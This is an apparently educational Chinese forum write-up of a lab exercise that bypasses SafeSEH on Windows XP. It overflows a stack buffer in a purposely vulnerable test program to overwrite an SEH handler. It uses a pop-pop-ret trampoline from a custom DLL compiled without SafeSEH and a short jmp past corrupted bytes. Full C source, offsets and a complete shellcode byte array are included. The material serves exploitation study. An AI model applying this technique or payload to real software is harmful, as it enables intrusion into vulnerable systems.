因为覆盖的指针不能直接跳往shellcode啊(不能使用固定地址进行跳转了),所以我们得用一个栈外地址、并且没有SafeSEH的模块中的跳转指令跳到shellcode,把shellcode布置到覆盖点的后面,通过ret等指令拿回控制权
就想到jmp esp这种类似的跳转指令了,考虑用pop pop ret之类的指令,后面调试的时候告诉你为什么。
shellcode布置200个90,调试: 还是直接运行到strcpy后面,搜索9090,记下 shellcode首地址A:0x0012FE84 拉到栈下面,就是200个字节覆盖的尽头~查看还有多远才能覆盖到SEH: 得到B地址 溢出点地址:0x0012FF60 B-A= 220字节 第三步 布置shellcode 我们遇到了无法直接跳往shellcode的情况,考虑跳板指令,用跳板指令,一般shellcode就在覆盖地址的后面,要不就是jmp esp 或者ret 在调试的时候,我们发现在test函数刚进入的时候,会在Security cookie+4的地方压入一个-2,在准备出try{}的时候,又把这个值改动成0。原理我也不太清楚,只要我们知道,这里有一个值,他是在溢出点B下方(+8的高地址) 这就出现问题了,我们如果想把shellcode布置在溢出点后面,用跳板指令跳到接下来的地址,但是shellcode有可能被这样一个机制修改,导致shellcode被破坏,怎么办? 幸亏shellcode被破坏的地方不多,也是仅仅溢出点后面2个DWORD,所以这两个DWORD我们用无关的90填充,接下来再填充shellcode。 接下来就是跳转指令的选择了,怎么能在执行溢出点的异常处理函数后,再跳回来呢,这就需要我们的SafeSEH OFF的模块了 如果shellcode紧邻着溢出点B,我们可以直接找ret指令的函数,跳回来继续执行shellcode,由于用了两个DWORD填充shellcode前两个字节,所以考虑 选择pop pop ret指令(其实后面发现这个pop不是为了pop掉这两个填充字符) shellcode布置如下: 220字节 0x 90|| 4字节 pop pop ret地址|| 8字节 0x90|| 168字节 shellcode内容 好了,还剩最后一个问题了,跳板指令地址哪里来?我们自己构造一个dll,包含这个指令的。 第四步 制作SafeSEH OFF的DLL 环境: XP SP3 VC 6.0(编译器不会启用SafeSEH) 链接选项:/base:"0x11120000"(这里是防止跳转指令地址出现0x00截断字符串, 问题:如果跳转指令必须有00,怎么处理,大神快告诉我 ) [C] 纯文本查看 复制代码 ? 01 02 03 04 05 06 07 08 09 10 11 12 13 14 #include "stdafx.h" BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { return TRUE; } void jump() { __asm{ pop eax pop eax retn } } 可以看出了,这个dll就包含了一个pop pop ret的内容 怎么验证这个dll没有开启SafeSEH呢?两种方法,一种是利用vs里面的工具,vs 2008 command prompt命令行工具,利用"dumpbin /loadconfig"+dll名称 另一个方法就是,用我们开头的程序,直接OD调试,待LoadLibrary后,有一个插件叫做SafeSEH能够直接查看加载的模块SafeSEH情况,还有一个插件叫ODFindaddr,里面有一个unprotected modules——without SafeSEH都能查看 接下来我们查找pop pop ret的地址,OD调试 直接搜索0x58 0x58 0xC3 问题:不知道为什么,没有找到pop eax,找到了pop ecx,pop ecx,ret 有同学遇到相同的问题了吗。 这里就能够确定这个 跳转指令地址:0x111211B6 完善代码和shellcode: [C] 纯文本查看 复制代码 ? 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #include "stdafx.h" #include <string.h> #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //220 bytes "\xB6\x11\x12\x11" //address of pop pop retn in No_SafeSEH module "\x90\x90\x90\x90\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; DWORD MyException( void ) { printf ( "There is an exception" ); getchar (); return 1; } void test( char * input) { char str[200]; strcpy (str,input); int zero=0; __try { zero=1/zero; } __except(MyException()) { } } int _tmain( int argc, _TCHAR* argv[]) { HINSTANCE hInst = LoadLibrary(_T( "115.dll" )); //load No_SafeSEH module //char str[200]; __asm int 3 test(shellcode); return 0; } 运行~完美溢出... ... 等会,不对啊,咋没反应... ... 尴尬... ...同学们,我们调试一下看一下。 直接F9,看看错误发生在哪里,OD显示0x130000写入错误。 我们来计算一下,0x130000-0x12FE84=148<168.所以shellcode根本拷贝不完... ...栈空间不足 ——————————————————————————手工割——————————————————————— 上次调试发现栈空间不足,原来是因为main函数中,有一个str[200]的字符数组定义,用来提高栈顶,我们还将这个“没用的”str数组恢复。这样是不是就可以了? 更新shellcode首地址A:0x0012FDB8 溢出点B:0x0012FE94(其实算出来shellcode怎么填充的,这个怎么变都没用了) 一定要记下来这个覆盖的 SEH结构地址0x0012FE90 前面我没有讲清楚这个跳转的流程,这个跳转稍微麻烦点,我们现在一点点来看,我尽量多截图 (1)pop pop ret 发生除0异常后,OD接管异常,我们按shift+F9,果然进入到我们覆盖的异常处理函数地址0x111211B6这时我们观察栈顶,发现pop两次之后,就会return到之前覆盖的SEH头0x0012FE90,继续执行看看会发生什么
这里有个问题,也是我过了一阵子再次回来看的时候发现的,觉得应该说明一下。其实真正的shellcode并不在这个ret碰到的12FE90这个地方,他仅仅只是说位于shellcode低地址的地方,与shellcode的距离其实相差16个字节(90909090 90909090 111211B6 90909090),在执行几句这16哥字节形成的无关指令就能继续执行shellcode了。而至于说为什么这里要用到pop pop,可能是因为刚好发现pop两次后,才是一个离shellcode比较近的地方吧
(2)ret之后的事情 现在终于来到了临近shellcode的地方,先是4个0x90,然后就是我们找到的0x111211B6跳板指令地址,接下来是8个字节的0x90,只不过后4个已经在try分支处理的时候被置为0了 本来这些无关紧要的数值被当成代码执行的时候,一般情况下是不会影响shellcode执行的,但是很不幸,我们就遇到了这种情况: 显然,这些变动的字节,对我们的shellcode造成了污染,直接影响了代码的正常执行,所以必须想办法,怎么办,那就跳过去吧 (3)jmp过去 位于0x0012FE90的4个90没用,我们想办法把这个4个字节改造一下,想办法直接跳到shellcode处 我们看到shellcode的地址距离当前有16个字节的长度,无条件转移指令jmp 16个字节就可以了,根据汇编指令,是\xEB\x0E 所以这个4个字节就成了"\xEB\x0E\x90\x90” 修改之后,我们再次调试程序到这里: 看见没,可以直接跳转到shellcode了! 再继续运行: 本次调试实验到此结束。 你学会了吗????
